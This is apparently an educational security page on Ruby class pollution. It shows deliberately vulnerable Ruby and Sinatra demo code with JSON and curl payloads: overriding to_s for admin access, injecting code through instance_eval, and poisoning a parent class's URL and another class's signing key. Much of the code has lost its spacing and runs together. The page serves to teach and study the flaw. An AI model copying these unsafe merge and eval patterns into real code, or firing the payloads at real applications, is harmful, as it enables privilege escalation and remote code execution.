# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:) @name = name @age = age @details = detailsend# Method to merge additional data into the objectdefmerge_with(additional) recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_check protected_methods().each do|method| instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original) additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj)else new_object =Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor keyendelse current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor keyendend originalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input) additional_object =JSON.parse(json_input)# Instantiate a regular user user =User.new( name: "John Doe", age: 30, details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain" } } )# Perform a recursive merge, which could override methods user.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' user.authorize# Execute health check (RCE vulnerability) # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Explanation
Privilege Escalation: The authorize method checks if to_s returns "Admin." By injecting a new to_s attribute through JSON, an attacker can make the to_s method return "Admin," granting unauthorized privileges.
Remote Code Execution: In health_check, instance_eval executes methods listed in protected_methods. If an attacker injects custom method names (like "puts 1"), instance_eval will execute it, leading to remote code execution (RCE).
This is only possible because there is a vulnerable eval instruction executing the string value of that attribute.
Impact Limitation: This vulnerability only affects individual instances, leaving other instances of User and Admin unaffected, thus limiting the scope of exploitation.
Real-World Cases
ActiveSupport’s deep_merge
This isn't vulnerable by default but can be made vulnerable with something like:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object) merged_hash = to_h.deep_merge(other_object) merged_hash.each do|key, value| self.class.attr_accessor key instance_variable_set("@#{key}", value)end selfend
Hashie’s deep_merge
Hashie’s deep_merge method operates directly on object attributes rather than plain hashes. It prevents replacement of methods with attributes in a merge with some exceptions: attributes that end with _, !, or ? can still be merged into the object.
Some special case is the attribute _ on its own. Just _ is an attribute that usually returns a Mash object. And because it's part of the exceptions, it's possible to modify it.
Check the following example how passing {"_": "Admin"} one is able to bypass _.to_s == "Admin":
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object) deep_merge!(other_object) selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input) additional_object =JSON.parse(json_input)# Instantiate a regular user user =User.new({ name: "John Doe", age: 30, details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain" } } })# Perform a deep merge, which could override methods user.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
In the following example it's possible to find the class Person, and the the clases Admin and Regular which inherits from the Person class. It also has another class called KeySigner:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson @@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:) @name = name @age = age @details = detailsenddefself.url @@urlend# Method to merge additional data into the objectdefmerge_with(additional) recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original) additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj)else new_object =Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor keyendelse current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor keyendend originalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner @@signing_key ="default-signing-key"defself.signing_key @@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON input post '/merge'do content_type :json json_input =JSON.parse(request.body.read) user =User.new( name: "John Doe", age: 30, details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain" } } ) user.merge_with(json_input) { status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadget get '/launch-curl-command'do content_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url) url =Person.url response =Net::HTTP.get_response(URI(url)) { status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse { status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL: # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner get '/sign_with_subclass_key'do content_type :json# This gadget signs data using the signing key stored in KeySigner class signer =KeySigner.new signed_data = signer.sign(KeySigner.signing_key,"data-to-sign") { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful): # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected get '/check-infected-vars'do content_type :json { user_url: Person.url, signing_key: KeySigner.signing_key }.to_jsonend run! if app_file == $0end
Poison Parent Class
With this payload:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
It's possible to modify the value of the @@url attribute of the parent class Person.
Poisoning Other Classes
With this payload:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
It's possible to brute-force the defined classes and at some point poison the class KeySigner modifying the value of signing_key by injected-signing-key.